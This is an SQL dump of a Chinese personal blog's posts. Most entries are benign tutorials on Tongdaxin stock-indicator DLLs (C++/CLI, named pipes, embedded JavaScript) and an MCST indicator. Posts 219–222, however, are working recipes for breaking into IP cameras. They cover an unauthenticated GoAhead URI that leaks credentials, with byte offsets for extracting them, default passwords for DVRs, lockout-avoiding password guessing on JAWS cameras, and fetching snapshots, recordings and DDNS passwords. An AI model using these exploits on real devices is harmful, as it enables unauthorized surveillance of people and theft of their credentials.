INSERT INTO `tb_post` VALUES (215, 214, 0, 4, 1, '通达信 DLL 指标多参数解决方法', NULL, 2, 'multiple-args', '', '根据通达信DLL函数编程规范 - 注意事项，单个自定义函数限定了输入参数为 3 个，且不能多不能少。如果用不到 3 个参数，可以将用不到的输入位置置 0 来占位，但如果需要用到超过 3 个参数的，就需要其他解决方法了。\n\n## 参数预处理法\n\n比如计算过程中需要计算 H, L, C 的平均数$`\\frac{H+L+C}{3}`$，可以先在公式中直接处理，再将处理结果给到 DLL 函数中。方法也可以适用于：先调用 DLL 函数，将函数的返回结果输入下一个 DLL 函数。\n\n简单示例，通达信公式：\n```lua\nAVG:=(H+L+C)/3;\nX1:TDXDLL1(1, AVG, OPEN, V);\n```\n\n## 全局变量法\n\n你可以将某几个 DLL 函数作为输入全局变量的入口，如以下的 1 号函数：\n\n```cpp\nref class GlobalObjects {\npublic:\n    static float* H, L, C;\n}\n\nvoid TestPlugin1(int DataLen, float* pfOUT, float* pfINa, float* pfINb, float* pfINc)\n{\n    GlobalObjects::H = pfINa;\n    GlobalObjects::L = pfINb;\n    GlobalObjects::C = pfINc;\n}\n```\n\n通过`TDXDLL1(1, H, L, C)`这样的公式语句，即可将 H, L, C 三个参数保存到全局变量中，而后再编写其他的函数：\n\n```cpp\nvoid TestPlugin2(int DataLen, float* pfOUT, float* pfINa, float* pfINb, float* pfINc)\n{\n    for(int i = 0; i < DataLen; i++) {\n        pfOUT[i] = GlobalObjects::H[i] * pfINa[i] * 0.618\n                 + GlobalObjects::L[i] * pfINb[i] * 0.382\n                 + GlobalObjects::C[i] * pfINc[i];\n        pfOUT[i] /= 2;\n    }\n}\n```\n\n再通过`TDXDLL1(2, param1, param2, param3)`调用返回结果即可。', 0, 22, '', 1, 0, '2023-12-28 13:58:00', '2023-12-28 13:58:00');
INSERT INTO `tb_post` VALUES (216, 214, 1, 4, 1, '通过 C++/CLI 建立 .NET Framework 混合的通达信指标 DLL', NULL, 2, '', '', '起初只是希望能在运行时调试通达信 DLL 时输出一些调试信息，直接想到的是采用一个窗体，窗体内包含输出信息的文本框，和一个清除文本框内容的按钮。但我并没有通过 C++ 开发桌面端应用的经验。否则用 Qt 应该是个不错的选择。\n\n我对桌面端应用的开发经验大部分是关于 C# 的，首先想到的就是用 C# 来做窗体控件了，这就涉及到了 C++ 调用 C#，或者 C++ 和 C# 的混合编程。经过短时间调研，最终选择了采用 C++/CLI 来建立混合编程的方式，来构建 DLL。\n\n这样做的好处是，我不用再额外点太多 C++ 的技能点，而且还可以享受丰富的 .NET 生态。譬如，除了设计一个调试输出窗口，还可以借助 .NET 的生态，嵌入 javascript 引擎，采用 js 写指标，让我能够在运行时动态调整指标代码。\n\n现在开始吧。\n\n## 先决条件\n\n  * 你需要了解 C++ 语言的基础知识。\n  * 在 Visual Studio 2017 及更高版本中，C++/CLI 支持是一个可选组件。 若要安装它，请从 Windows 开始菜单打开“Visual Studio 安装程序”。 确保选中“使用 C++ 的桌面开发”磁贴，并在“可选”组件部分选中“C++/CLI 支持”。\n\n## 环境搭建\n\nWin10 系统，采用 Visual Studio 2022(17.5.3)，在 Visual Studio Installer 里，单个组件要勾选上：\n\n  - .NET 桌面开发\n  - 使用 C++ 的桌面开发\n    + 默认选项\n    + 对 v143 生成工具(最新)的 C++/CLI 支持（具体版本由你选定的 C++ 版本确定，我这里是 v143）\n\n更多内容请参考 [演练：在 Visual Studio 中编译面向 CLR 的 C++/CLI 程序](https://learn.microsoft.com/zh-cn/cpp/dotnet/walkthrough-compiling-a-cpp-program-that-targets-the-clr-in-visual-studio?source=recommendations&view=msvc-170)。\n\n## 新建项目\n\n打开 VS，创建新项目，选择“CLR 空项目(.NET Framework)”：\n\n![创建新的_clr_项目.png](\\upload\\2023\\12\\20231228_140557492_Lq0UJFz5YgB.png \"创建新的_clr_项目.png\")\n\n新建一个名称为`CLRDllTest`的项目，载入后右侧是标准的 VS 开发 C++ 项目的结构，按照通达信DLL函数编程规范将指定的头文件和源文件放入对应的结构内。\n\n新建一个 .NET Framework 类库项目`DebugForm`，并设计新建一个窗体类`LogForm`：\n\n```csharp\nusing System;\nusing System.Windows.Forms;\n\nnamespace DebugForm\n{\n\n    public partial class LogForm : Form\n    {\n        public LogForm()\n        {\n            InitializeComponent();\n        }\n\n        public void Log(string message)\n        {\n            textBox1.AppendText($\"[{DateTime.Now:yyyy-MM-dd HH:mm:ss.FFF}] {message}\\r\\n\");\n            textBox1.ScrollToCaret();\n        }\n\n        private void button1_Click(object sender, EventArgs e)\n        {\n            textBox1.Text = \"\";\n        }\n    }\n}\n```\n\n窗体设计内容如下：\n\n![logform_design.png](\\upload\\2023\\12\\20231228_140557116_5gsiZyuRPihG.png \"logform_design.png\")\n\n为了方便`CLRDllTest`引用，我们可以调整项目`DebugForm`的**生成后事件**，将其 copy 一份到`CLRDllTest`的项目下。此处不赘述。\n\n## CLRDllTest 引用 C# 窗体\n\n假设`CLRDllTest`项目已经能引用`DebugForm.dll`，为了能在全局引用托管的`DebugForm`，在`TCalcFuncSets`内定义一个全局引用类：\n\n```cpp\nref class GlobalObjects {\npublic:\n    static DebugForm::LogForm^ logForm;\n};\n```\n\n修改导出给通达信 TCalc 的函数`RegisterTdxFunc`：\n```cpp\nBOOL RegisterTdxFunc(PluginTCalcFuncInfo** pFun)\n{\n    GlobalObjects::logForm = gcnew DebugForm::LogForm();\n    GlobalObjects::logForm->Show();\n    GlobalObjects::logForm->Log(\"DLL loaded.\");\n    if (*pFun == NULL)\n    {\n        (*pFun) = g_CalcFuncSets;\n        return TRUE;\n    }\n    return FALSE;\n}\n```\n\n试着在任意自定义函数内调用`logForm`：\n```cpp\nvoid TestPlugin1(int DataLen, float* pfOUT, float* pfINa, float* pfINb, float* pfINc)\n{\n    GlobalObjects::logForm->Log(\"1 号函数被调用，DataLen：\" + DataLen);\n    for (int i = 0; i < DataLen; i++)\n        pfOUT[i] = i;\n}\n```\n\n## 测试使用\n\n编译`DebugForm.dll`和`CLRDllTest.dll`，将前者放在通达信执行目录（即包含 tdxw.exe 文件的目录）下，后者放在通达信目录下的 T0002/dlls/ 下，打开通达信配置调用 DLL 指标：\n\n```lua\n{这里 H, L, C 是随便填来占位的，实际在函数内用不到}\nX1:TDXDLL1(1, H, L, C);\n```\n\n结果：\n\n![testclrdll.png](\\upload\\2023\\12\\20231228_140557742_3t0oBA6Y21Is.png \"testclrdll.png\")\n\n由此便完成了 C++/CLI 模式下的 .NET Framework 混合编程。\n\n## 注意事项\n\n### dll 最终放置位置/引用\n\nDebugForm.dll 是通过 C++/CLI 托管的动态链接库，载入时，应该由主程序 EXE 载入，即放在 tdxw.exe 同目录下，由 tdxw.exe 载入，而非放在指标 DLL 目录下，否则 tdxw.exe 会找不到 DebugForm.dll，导致程序崩溃。\n\n除非 DebugForm.dll 是通过 COM 注册的 .NET DLL，但那就是运行时动态加载了。此时，Native C++ 项目内其实是有相关 .NET DLL 的信息的（tlb, tlh）文件的，并且此时也不能使用 CLR 模式了。\n\n### 窗体控件缓冲\n\n此处调出`DebugForm::LogForm`，并用 TextBox 来存放日志**只是一种示范**，实测中，当不断调用 Log 方法将日志写入 TextBox 一段时间后，程序便卡死了。为此我调试了两天时间，什么智能指针之类的东西都用了，最后发现居然是……调试窗体的 TextBox 被输入了太多文本，内存溢出了。\n\n这是我万万没想到的。\n\n解决方法是定期清理缓冲区。我编写的程序中，TextBox 的`MaxLength`被设置为了默认值 32767，输入的日志长度刚超过这个范围时，无事发生，因为此处的`MaxLength`仅阻止用户输入，而不会阻止通过设置`Text`属性变化的文本[^1]。但超过大约 138308 （确切值未知）的字符串长度后，程序便卡死。后来我对 TextBox 做了超过指定长度便清除的操作，就没再出现过卡死。猜测应该是被托管的窗体的 TextBox 控件的缓冲区内存溢出了，具体达到多少值便溢出，以及这个最大值由什么决定，没有深究。\n\n所以实际上，当使用某种托管控件时，应该要考虑到该控件的性能限制，按照功能需求合理选择控件，且要考虑到控件能接受的运行时的最大缓冲，避免因内存溢出而导致程序卡死。\n\n为了解决这种情况，如果托管的窗口有太多资源内容的，可以考虑将窗口作为一个独立的进程，通达信和额外窗口之间采用**管道**进行通信，而非直接调用。（见[在通达信 C++/CLI DLL 与外部应用程序之间使用管道通信](/p/217)）。\n\n### 全局引用\n\n在示例代码中，托管窗体`logForm`被我放在了一个 ref class 中作为静态变量。实际上经过测试，也可以直接在最顶层声明静态/非静态的托管类型。\n\n### 资源回收\n\n采用 C++ 编程的最重要的一点，即是要注意资源的回收，否则可能会出现内存溢出的情况。\n\n\n[^1]: [TextBoxBase.MaxLength Property#Remarks. Microsoft Learn.](https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.textboxbase.maxlength#remarks)', 0, 14, '', 1, 0, '2023-12-28 14:06:30', '2023-12-28 14:16:43');
INSERT INTO `tb_post` VALUES (217, 214, 2, 4, 1, '在通达信 C++/CLI DLL 与外部应用程序之间使用管道通信', NULL, 2, '', '', '在 [通过 C++/CLI 建立 .NET Framework 混合的通达信指标 DLL](/p/216) 一文中，介绍了一种使用托管类的方式，来实现调用 .NET Framework 调试窗口的一种方法，同时也说明了该种方法可能会存在内存泄漏导致主窗体和托管窗体卡顿（见[窗体控件缓冲](/p/216#窗体控件缓冲)）的问题。\n\n在前文中，虽然指出了可以通过清理缓冲区的方式来临时解决问题，但具体的内存分配大小可能会因不同通达信版本而异，分析通达信分配的内存大小也较为不便。为了解决该问题，一种较为合理的方法便是将外部窗体或外部调用类独立成一个进程，主程序和外部进程之间使用管道通信，外部进程的内存交由操作系统来管理，而非交由通达信主程序管理，避免内存泄漏。这便引出了本文。\n\n\n## 建立外部窗体应用程序\n\n新建 .NET Core 窗体应用程序，设计如下的和前文类似的窗体：\n\n![外部调试应用程序窗体设计](\\upload\\2023\\12\\20231228_141216494_RbfoOrXKzfXo.png \"外部调试应用程序窗体设计\")\n\n在窗体代码中设计一个独立线程，用来：1. 建立管道流；2. 接收数据和打印日志。\n\n```csharp\nusing System.IO.Pipes;\nusing System.Text;\n\nnamespace PipelineApp\n{\n    public partial class Form1 : Form\n    {\n        readonly Thread pipelineThread;\n        \n        public Form1()\n        {\n            InitializeComponent();\n            pipelineThread = new Thread(() =>\n            {\n                byte[] bytes = new byte[10];\n                char[] chars = new char[10];\n                Decoder decoder = Encoding.UTF8.GetDecoder();\n                while (true)\n                {\n                    using (NamedPipeServerStream pipeStream =\n                            new(\"messagepipe\", PipeDirection.InOut, 1,\n                            PipeTransmissionMode.Message, PipeOptions.None))\n                    {\n                        pipeStream.WaitForConnection();\n                        pipeStream.ReadMode = PipeTransmissionMode.Message;\n                        int numBytes;\n                        do\n                        {\n                            string message = \"\";\n                            do\n                            {\n                                numBytes = pipeStream.Read(bytes, 0, bytes.Length);\n                                int numChars = decoder.GetChars(bytes, 0, numBytes, chars, 0);\n                                message += new string(chars, 0, numChars);\n                            } while (!pipeStream.IsMessageComplete);\n\n                            decoder.Reset();\n                            if (!string.IsNullOrEmpty(message))\n                                Invoke(new MethodInvoker(() => PrivateLog(message)));\n                        } while (numBytes != 0);\n                    }\n                }\n            })\n            { IsBackground = true };\n            pipelineThread.Start();\n\n        }\n\n        private void PrivateLog(string message)\n        {\n            if (textBox1.TextLength + message.Length > textBox1.MaxLength * 4)\n            {\n                textBox1.Text = \"\";\n            }\n            textBox1.AppendText($\"[{DateTime.Now:yyyy-MM-dd HH:mm:ss.FFF}] {message}\\r\\n\");\n            textBox1.ScrollToCaret();\n        }\n\n        private void button1_Click(object sender, EventArgs e)\n        {\n            textBox1.Text = \"\";\n        }\n    }\n}\n```\n\n生成项目，将 PipelineApp.exe、PipelineApp.dll 和 Pipeline.runtimeconfig.json 三个文件放在通达信目录下。这样一个外部日志窗口程序就准备好了。\n\n## 编写 C++/CLI 相应方法\n\n在\'\'TCalcFuncSets.h\'\'里声明如下方法：\n\n```cpp\nvoid LogDequeue();\n```\n\n在\'\'TCalcFuncSets.cpp\'\'里声明如下的全局类和方法：\n\n```cpp\nref class GlobalObjects {\npublic:\n    static ConcurrentQueue<String^>^ logQueue = gcnew ConcurrentQueue<String^>();\n    static Thread^ thread = gcnew Thread(gcnew ThreadStart(&LogDequeue));\n};\n\nvoid LogDequeue() {\n    NamedPipeClientStream^ clientStream;\n    while (true) {\n        try {\n            clientStream = gcnew NamedPipeClientStream(\"messagepipe\");\n            clientStream->Connect();\n            while (true) {\n                String^ log;\n                if (GlobalObjects::logQueue->TryDequeue(log)) {\n                    array<Byte>^ buffer = Encoding::UTF8->GetBytes(log);\n                    clientStream->Write(buffer, 0, buffer->Length);\n                    clientStream->Flush();\n                }\n                else {\n                    Thread::Sleep(1);\n                }\n            }\n        }\n        catch (Exception^ e) {\n            // 应对外部应用程序关闭了的情况\n            if (clientStream != nullptr) {\n                clientStream->Close();\n            }\n        }\n    }\n\n}\n\nstatic void Log(System::String^ message) {\n    GlobalObjects::logQueue->Enqueue(message);\n}\n\nBOOL RegisterTdxFunc(PluginTCalcFuncInfo** pFun)\n{\n    // 启动外部程序和线程\n    Process^ debugProcess = gcnew Process;\n    debugProcess->StartInfo->FileName = \"PipelineApp.exe\";\n    debugProcess->Start();\n    GlobalObjects::thread->IsBackground = true;\n    GlobalObjects::thread->Start();\n    Log(\"DLL loaded.\");\n    if (*pFun == NULL)\n    {\n        (*pFun) = g_CalcFuncSets;\n        return TRUE;\n    }\n    return FALSE;\n}\n\n```\n\n## 最终效果\n\n启用通达信，外部程序便被挂载，输出日志。\n\n![管道测试结果](\\upload\\2023\\12\\20231228_141230731_ijZUKKrWLBQ1.png \"管道测试结果\")\n\n**即使关闭外部应用程序，主程序也未见卡顿**，证明管道连接断开的异常已被捕获，并开始准备下一次的连接。重新手动打开外部应用程序，又能继续接收到日志。完成任务。', 0, 17, '', 1, 0, '2023-12-28 14:13:11', '2023-12-28 14:15:15');
INSERT INTO `tb_post` VALUES (218, 214, 3, 4, 1, '使用 JS 脚本编写运行时指标', NULL, 2, '', '', 'DLL 指标的存在，使得原本某些通过通达信原生指标语法实现的功能，得以借助编程语言实现，如循环结构和更复杂的分支结构。虽然使用 DLL 指标仍然存在一些限制（见：[通达信DLL- 注意事项](/p/214#注意事项)），但可以通过一些特殊手段（见：[通达信 DLL 指标多参数解决方法](/n/multiple-args)），绕过限制。总的来说，DLL 指标优点大于缺点。\n\n但此时就不可避免地引出了一些问题：载入 DLL 的时候，内部的指标算法是已经被编译好的，如果想要修改算法，就必须关闭程序、修改代码、重新编译再重新打开程序。这样的操作未免太麻烦。有没有一种方式，可以不用重新编译、反复打开程序，就能实现代码的修改呢？\n\n答案是肯定的：那就是引入脚本语言——DLL 本身并不直接参与指标的计算，而是提供函数入口和脚本语言解释器。当 DLL 内的函数被调用时，首先通过脚本解释器解释动态加载的脚本，而后将函数传入的参数传递给脚本执行，最终得到的结果再返回。\n\n```plantuml:svg\n@startuml\n  skin rose\n  box \"通达信\" #FFCCDD\n	participant \"MainApplication\" as tdx\n	endbox\n\n	box \"C++/CLI DLL\" #99CCFF\n		participant \"RegisterTdxFunc\" as regFunc\n		participant \"IndicatorFunc(s)\" as idcFunc\n	end box\n\n	box \"Managed .NET Framework DLL\" #FFCC99\n		participant \"DebugForm\" as form\n		participant \"JS Interpreter\" as js\n	end box\n\n	tdx -> regFunc : **calls**\\nexported function\n	regFunc -> form : **initialize**\\n(form with script inputBox)\\nas //global variable//\n	regFunc <-> idcFunc : **gets/returns**\\naddresses\n	regFunc -> tdx : **returns**\\nfunction\\npointers\\narray\n	tdx -> idcFunc : **calls**, params(...args)\n	idcFunc -> js : **calls**, params(form->script, ...args)\n	js -> idcFunc : **returns** results of execution\n	idcFunc -> tdx : **returns** *pfOUT\n@enduml\n```\n\n在[通过 C++/CLI 建立 .NET Framework 混合的通达信指标 DLL](/p/216)中，阐述了如何通过 C++/CLI 编程使用 .NET Framework 的生态。而通过借助 .NET 的丰富生态，自然可以便捷地实现脚本解释器的功能。可供选择的脚本语言非常多，如 python、lua、ruby 等。在这里我选用对环境要求最低的一门跨平台脚本语言：Javascript。\n\n## 调研工作\n\n根据资料 [Running JavaScript inside a .NET app with JavaScriptEngineSwitcher. Andrew Lock.](https://andrewlock.net/running-javascript-in-a-dotnet-app-with-javascriptengineswitcher/) 所述，.NET 运行 JavaScript 有两种思路，一种是通过 Node.js 构建相应的 JS 应用，由 .NET 与 Node.js 交互得到运行结果；另一种是直接在 .NET 应用程序或类库中嵌入 JS 引擎，由 .NET 应用直接解释/运行 JS 脚本。\n\n显然，后者更适合我们的需求。根据文章对后者实现的分类，我最终选择了 [Jint](https://github.com/sebastienros/jint) 作为最终实现的方式。\n\n## JS 解释器和 JS 方法实现\n\n使用和 DebugForm 同样的方式建立`JsTestClass`类，并建立如下的`TestJs`方法：\n\n```csharp\npublic float[] TestJs(float[] in1, float[] in2, float[] in3)\n{\n    float[] result = new float[in1.Length];\n    try\n    {\n        var engine = new Engine();\n        engine.SetValue(\"in1\", in1);\n        engine.SetValue(\"in2\", in2);\n        engine.SetValue(\"in3\", in3);\n        engine.Execute(@\"\n            var result = [];\n            for (var i = 0; i < in1.length; i++) {\n                result.push((in1[i] + in2[i] + in3[i])/3);\n            }\n        \");\n        result = engine.GetValue(\"result\").AsArray().Select(x => (float)x.AsNumber()).ToArray();\n    }\n    catch (Exception ex) {}\n    return result;\n}\n```\n\n该方法接受三个`float[]`：`in1`、`in2`和`in3`，并分别计算三个参数的平均数，返回一个新的`float[]`。\n\n\n## DLL 调用 JS 方法\n\n由于调用 DLL 方法时，通达信提供的是`float`型的数组指针，我们需要将其转换为`float`托管类型。在 TCalcFuncSet.cpp 内编写转换方法：\n\n```cpp\nstatic array<float>^ ToManagedArray(float* pointer, int size) {\n    array<float>^ result = gcnew array<float>(size);\n    Marshal::Copy(IntPtr(pointer), result, 0, size);\n    return result;\n}\n```\n\n在任意自定义方法内调用托管的`JsTestClass::TestJs`方法，并处理返回：\n\n```cpp\nvoid volatile TestPlugin2(int DataLen, float* pfOUT, float* pfINa, float* pfINb, float* pfINc)\n{\n    array<float>^ in1 = ToManagedArray(pfINa, DataLen);\n    array<float>^ in2 = ToManagedArray(pfINb, DataLen);\n    array<float>^ in3 = ToManagedArray(pfINc, DataLen);\n\n    DebugForm::JsTestClass^ jsTest = gcnew DebugForm::JsTestClass();\n    \n    array<float>^ result = jsTest->TestJs(in1, in2, in3);\n    int size = result->Length;\n    Marshal::Copy(result, 0, IntPtr(pfOUT), size);\n\n    delete in1, in2, in3, jsTest, result;\n}\n```\n\n## 通达信内调用\n\n将上面编译好的 DLL 放在指定位置下（参考[dll 最终放置位置/引用](/p/216#dll%20最终放置位置/引用)），启动通达信。新建以下的指标公式：\n\n```lua\nX1:TDXDLL1(2, H, L, C);\n```\n\n命名为“测试公式”，即可看到调用结果：\n\n![js函数测试.png](\\upload\\2023\\12\\20231228_142518564_VVDINFEmhZI.png \"js函数测试.png\")\n\n## 其他\n\n### 实时更改 JS 脚本\n实际使用过程中，JS 脚本可以通过 TextBox 控件实时更改，而非写死在代码中，如：\n\n```csharp\npublic float[] TestJs(float[] in1, float[] in2, float[] in3)\n{\n    float[] result = new float[in1.Length];\n    try\n    {\n        var engine = new Engine();\n        engine.SetValue(\"in1\", in1);\n        engine.SetValue(\"in2\", in2);\n        engine.SetValue(\"in3\", in3);\n        engine.Execute(textBox1.Text); // textBox1 是窗体编辑器控件，可在控件内输入 js 脚本\n        result = engine.GetValue(\"result\").AsArray().Select(x => (float)x.AsNumber()).ToArray();\n    }\n    catch (Exception ex) {}\n    return result;\n}\n```\n\n需要注意：上文的示例中，`TestJs`方法所属类`JsTestClass`是放在一个 DLL 中的，为了方便理解，`engine.Exceute`直接调用了 textBox1 控件。\n\n实际上为了避免因 [窗体控件缓冲](/p/216#窗体控件缓冲) 引发的内存溢出，需要：\n\n  * 使用 [管道通信](/p/217) 建立一个独立的外部应用程序，控件 textBox1 属于外部应用程序，而`JsTestClass`所属 DLL 也需要通过管道向外部应用程序请求到 textBox1 内的脚本，经由管道返回后，再编译和执行；\n  * 或者：将`TestJsClass`放在外部应用程序中，tdxdll 通过管道传输参数至外部应用程序，外部应用程序调用自身 textBox1 获取并执行脚本后，将执行结果通过管道返回 tdxdll，再交由通达信主程序渲染。这可能涉及到管道的同步/异步处理，本文不表。\n### 语法高亮控件\n\n可以使用一些控件对代码进行高亮，如 WPF 的 [AvalonEdit](http://avalonedit.net/)：\n\n![avalonedit.png](\\upload\\2023\\12\\20231228_142518485_58u5fhqogF6n.png \"avalonedit.png\")\n\n### 错误提示\n\n对于 JS 错误（如语法错误）导致的执行失败，应捕获并给予提示，同时返回空结果，避免主程序卡死。\n', 0, 17, '', 1, 0, '2023-12-28 14:25:37', '2023-12-28 14:29:32');
INSERT INTO `tb_post` VALUES (219, 201, 0, 1, 0, 'GoAhead 系列摄像机', NULL, 2, '', '', '## 破解\n\n主要通过以下 URI 的漏洞来获取名为 system.ini 的配置文件。用户名和密码皆在配置文件中：\n\n```\n/system.ini?loginuse&loginpas\n```\n\n已知的配置文件有两种固定长度，`4052`和`5020`，除此以外获取到的文件都不是合法的配置文件。\n\n|文件长度|4052|5020|\n|-------|----|----|\n|摄像机名称偏移|0+32|32+32|\n|用户名偏移|1680+32|1908+32|\n|密码偏移|1712+32|1940+32|\n\n获取后直接拼接到 URL 访问即可。\n\n## 截图\n\n通过以下的 URI 获取截图\n```\n/snapshot.cgi?user={usr}&pwd={pwd}\n```\n\n## 录像状态\n\n通过以下的 URI 获取录像状态\n```\n/get_status.cgi?user={usr}&pwd={pwd}\n```\n\n若返回包含`record_sd_status=2`说明存在录像。\n', 0, 3, '', 1, 0, '2023-12-28 20:13:51', '2023-12-28 20:13:51');
INSERT INTO `tb_post` VALUES (220, 201, 1, 1, 0, 'H264DVR', NULL, 2, '', '', '一种开放了`554`端口的摄像机，使用`rtsp`协议即可访问。更多详情见[HiSilicon DVR hack](https://github.com/tothi/pwn-hisilicon-dvr)。\n\n## 链接\n\n```\nrtsp://{ip}/user={user}&password={password}&channel={channel}&stream=0.sdp?real_stream--rtp-caching=100\n```\n\nstream = 0.sdp 表示主码流，1.sdp 表示子码流。部分链接的参数采用`_`拼接而非`&`拼接。\n\n## 常见用户名密码组合\n\n按照常见程度排序。\n\n|用户名|密码|明文|\n|------|----|----|\n|default|OxhlwSG8|tluafed|\n|admin|tlJwpbo6|空字符串|\n|admin|空字符串| |\n|default|S2fGqNFs|未知|\n\n\n## 频道数\n\n以 4 的整数倍为划分。一般而言，如果频道数为 n 的，第 n + 1 个频道将循环回频道 1 。', 0, 0, '', 1, 0, '2023-12-28 20:15:58', '2023-12-28 20:15:58');
INSERT INTO `tb_post` VALUES (221, 201, 2, 1, 0, 'JAWS 新版摄像机 PWN', NULL, 2, '', '', '基本上是通过弱密码尝试来进行 PWN。最常见的弱密码是空。\n\n## 接口\n\n认证方法：`Basic Auth`，返回：`JSON`。只要返回码是`200`即代表访问成功。\n\n\n### 破解\n\n```\nGET /netsdk/Stat/DeviceInfo\n```\nESEE ID 字段在`UID`字段上，去掉前 4 位即为 ESEE ID。\n\n### 设置\n```\nGET /netsdk/Network/DDNS\n```\n\n### 通道信息\n\n```\nGET /netsdk/Stream/Title\n```\n包括数量和名称。\n\n### 截图\n先通过下面的接口获取 ID：\n```\nGET /netsdk/Stat/IPC\n```\n再通过下面的接口访问获取截图：\n```\nPOST /NetworkSnap\n```\n参数：\n```json\n{\n    \"DEV\": \"XVR\",\n    \"VER\": \"1.0\",\n    \"API\": \"NetworkSnap\",\n    \"Parameter\": {\n        \"Channel\": \"{上面获取的 ID}\",\n        \"FileName\": \"area_tmp.jpg\"\n    }\n}\n```\n返回：Content-Type 为 `image/jpeg` 的图片。\n', 0, 0, '', 1, 0, '2023-12-28 20:16:50', '2023-12-28 20:16:50');
INSERT INTO `tb_post` VALUES (222, 201, 3, 1, 0, 'JAWS 旧版摄像机 PWN', NULL, 2, '', '', '基本上是通过弱密码尝试来进行 PWN。最常见的弱密码是空。\n\n## URI\n\n各设置的 API 通过 `/cgi-bin/gw.cgi?xml={Payload}&_={Timestamp}` 获取，参数是 xml 格式。\n\n本质是提供一段 xml，请求 cgi 填充返回。\n\n### 破解\n\n```xml\n<juan ver=\"0\" squ=\"abcdefg\" dir=\"0\" enc=\"1\">\n    <envload type=\"0\" usr=\"admin\" pwd=\"{Password}\"/>\n    <devinfo />\n</juan>\n```\n只有一个用户，就是`admin`。通过检测返回内容中是否包含`<envload errno=\"0\"`来判断是否成功登录。\n\n该方法好处是不会触发密码尝试次数过多导致的封禁。\n\n### 设置\n```xml\n<juan ver=\"0\" squ=\"abcdefg\" dir=\"0\" enc=\"1\">\n    <envload userpermission=\"\" type=\"0\" usr=\"admin\" pwd=\"{Password}\">\n        <network enetid=\"\" ddns=\"\" ddnsprovider=\"\" ddnsurl=\"\" ddnsusr=\"\" ddnspwd=\"\" />\n    </envload>\n</juan>\n```\n可以获取相应的配置，如 DDNS 相关配置。一些摄像头黑客通过这种方式来控制摄像头，登录他们的 DDNS 账号就可以看到他们控制的批量摄像头。\n\n### 通道数\n\n```xml\n<juan ver=\"0\" squ=\"abcdef\" dir=\"0\" enc=\"1\">\n    <devinfo camcnt=\"\"/>\n</juan>\n```\n通过`camcnt=\\d+`字段来获取通道数。**不需要提供 Password**。\n\n### 摄像机名称\n```xml\n<juan ver=\"0\" squ=\"abcdefg\" dir=\"0\" enc=\"1\">\n    <envload type=\"0\" usr=\"admin\" pwd=\"{Password}\">\n        <screen chn=\"0\" title=\"\"></screen>\n        <screen chn=\"1\" title=\"\"></screen>\n        <screen chn=\"2\" title=\"\"></screen>\n        ...\n    </envload>\n</juan>\n```\n下标从`0`开始，返回的`title`即是摄像机名称。\n\n### 截图\n```\n/cgi-bin/snapshot.cgi?chn={Channel}&u=admin&p={Password}&q=0&d=1&rand={Rand}\n```\n不一定有截图。没有截图不代表没有摄像机。可能需要通过查询历史录像来判断是否存在录像或摄像机。\n\n查询历史记录时，当日的开始时间可以设置为 -10000:00:00 来寻找当日往前 -10000 小时的录像记录，用以查询摄像机被弃用，但仍保留部分录像的情况。\n\n## ESEE ID\n\n包含在`设置`中，可通过易视云 APP 访问该远程摄像头。\n\n注意：有的摄像头可能会被独占绑定。\n\n## 油猴插件\n\n通过油猴插件，可以为摄像机管理页提供一些额外方便的功能。\n\n```js\n// ==UserScript==\n// @name        JAWS Tool\n// @namespace   Violentmonkey Scripts\n// @match       http://*/*\n// @grant       none\n// @version     1.0\n// @author      -\n// @description 2023/4/4 下午2:54:42\n// ==/UserScript==\n\n  \nwindow.page_first = function () {\n  page_current = 0;\n  rec_search();\n};\n\nwindow.page_last = function () {\n  page_current = page_total - 1;\n  rec_search();\n};\n\nwindow.negative_10000h_search = function () {\n  $(\'input#begin\').val(\'-10000:0:0\');\n  rec_search();\n};\n\n(function(){\n  \'use strict\';\n  /* globals jQuery, $, waitForKeyElements */\n  \n  $(function(){\n    if (lang && lang.index_title) {\n      if (location.href.indexOf(\'playback.html\') >= 0) {\n        // 增加跳到最前和跳到最后的脚本\n        $(\'input[lxc_lang=\"playback_Prev\"]\').before($(\'<input value=\"First\" type=\"button\" onclick=\"page_first()\">\').css(\'marginRight\', \'5px\'));\n        $(\'input[lxc_lang=\"playback_Next\"]\').after($(\'<input value=\"Last\" type=\"button\" onclick=\"page_last()\">\').css(\'marginLeft\', \'5px\'));\n        \n        // 增加 -10000h 并搜索\n        $(\'input#begin\').after($(\'<input value=\"-10000\" type=\"button\" onclick=\"negative_10000h_search()\">\').css(\'marginLeft\', \'5px\'));\n        \n      }\n      else if (location.href.indexOf(\'settings.html\') >= 0) {\n        // 去除 DDNS Password 密码隐藏，若有值则高亮显示\n        var juanDDNSPasswordInput = $(\'[id=\"juan_envload#network@ddnspwd\"]\');\n        if (juanDDNSPasswordInput.length && juanDDNSPasswordInput.val()) {\n          juanDDNSPasswordInput.attr(\'type\', \'\').css(\'backgroundColor\', \'#EEB1B2\');\n        }\n      }\n    }\n  });\n})();\n```\n', 0, 0, '', 1, 0, '2023-12-28 20:17:17', '2023-12-28 20:17:17');
INSERT INTO `tb_post` VALUES (223, 202, 0, 1, 1, '平台或数据源', NULL, 2, '', '', '', 0, 27, '', 1, 0, '2023-12-29 14:32:41', '2023-12-29 14:34:43');
INSERT INTO `tb_post` VALUES (224, 202, 1, 1, 0, '指标', NULL, 2, '', '', '', 3, 2, '', 1, 0, '2023-12-29 16:37:56', '2024-01-03 16:50:35');
INSERT INTO `tb_post` VALUES (225, 224, 0, 2, 0, 'MCST：市场成本', NULL, 2, '', '', '> 通过取一段时间内的成交额/成交量求动态平均的方式，获取市场上交易者的交易成本。\n\n通达信公式：\n```lua\nMCST:DMA(AMOUNT/(100*VOL),VOL/CAPITAL);\n```\n\nJava 代码，`verich`版本：\n\n```java\n/**\n * 通达信 MCST 指标拟合版\n * @param <T>\n * @param values\n * @return\n */\npublic static <T extends StockValueEx> List<Double> getMCST(List<T> values) {\n    if (Objects.isNull(values) || values.size() == 0) {\n        return null;\n    }\n    int size = values.size();\n    List<Double> mcst = new ArrayList<>(size);\n    T first = values.get(0);\n    mcst.add((first.getHigh() + first.getLow() + first.getClose())/3);\n    for (int i = 1; i < size; i++) {\n        T curr = values.get(i);\n        double k = curr.getVol() / curr.getFloatShare() / 100;\n        // 成交额单位是千元，成交量单位是手，1000/100 = 10，所以 * 10\n        mcst.add(curr.getAmount() * 10 / curr.getVol() * k + mcst.get(i - 1) * (1 - k));\n    }\n    return mcst;\n}\n```', 0, 0, '', 1, 0, '2024-01-03 16:51:43', '2024-01-03 16:51:43');
